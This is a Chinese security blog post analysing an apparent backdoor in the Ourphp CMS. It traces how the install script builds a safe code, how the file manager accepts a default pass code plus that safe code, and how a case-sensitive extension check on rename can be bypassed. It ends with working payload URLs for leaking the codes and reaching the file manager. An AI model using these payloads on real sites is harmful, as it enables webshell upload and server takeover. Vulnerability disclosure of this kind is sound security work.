php疑似后门,某php一处疑似官方后门导致getshell

return '';

}

(左右滑动)

后门之处,暴露口令码、安全校验码的前32位,6位是在这32位里。

再看看安全校验码生成的地方,在functioninstallindex.php的第288行

$ourphp_safecode = getRandomString(32);

$safecode6 = substr($ourphp_safecode , 6 , 6);

$str_f = '$';

$str_tmp = "<?php

/*

* Ourphp - CMS建站系统

* Copyright (C) 2014 ourphp.net

* -------------------------------

* 网站配置文件 (2016-10-22)

* -------------------------------

*/

define('OURPHPNO', true);

define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));

include '".$mysql_file."';

".$str_f."ourphp = array(

'webpath' => '/', // 网站路径

'validation' => '12345', // 口令码

'adminpath' => 'client/manage', // 管理员默认目录

'mysqlurl' => '".$ourphp_dburl."', // 数据库链接地址

'mysqlname' => '".$ourphp_dbname."', // 数据库登录账号

'mysqlpass' => '".$ourphp_dbpass."', // 数据库登录密码

'mysqldb' => '".$ourphp_mydb."', // 数据库表名

'filesize' => '5000000', // 附件上传最大值

'safecode' => '".$ourphp_safecode.$safecode6."', // 安全校验码

'mysqltype' => '".$mysql_type."',

);

(左右滑动)

可以看到随机一个32位,然后取32位的第6位后的6位拼接

再看clientmanageourphp_filebox.php 第45行

if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){

$_SESSION['ourphp_outtime'] = time() + 3600;

$_SESSION['ourphp_out'] = "ourphp";

}else{

if(isset($_SESSION['ourphp_out'])){

$filefolder = str_replace('','/',WEB_ROOT.$ourphp['webpath']);

}else{

include 'ourphp_checkadmin.php';

$filefolder = str_replace('','/',WEB_ROOT.$ourphp['webpath']."templates/");

}

}

(左右滑动)

这里只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

再看832行,重命名的操作,可以大小写绕过

function renam($rename, $nrename, $folder) {

global $meurl,$folder;

$php = explode('.',$nrename);

$php = end($php);

if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){

printerror("重命名出错!");

exit;

}

(左右滑动)

Payload:

http://localhost:88//function/editor/php/upload_json.php?upload_file=aaa

http://localhost:88/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg

验证:

获取口令码、安全校验码

76f0b36cc2d6f23e8c4133ee715b2d76.png

文件管理:

f447544686b54f0cd043e3306a17f6d6.png

68c7e868485b10e7a0507ce6daa0faae.png

147ceb2b51d86d155ba8c1d08f78fed7.png

dfa4129d0bb0644b3f8c6d6b1589fb81.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值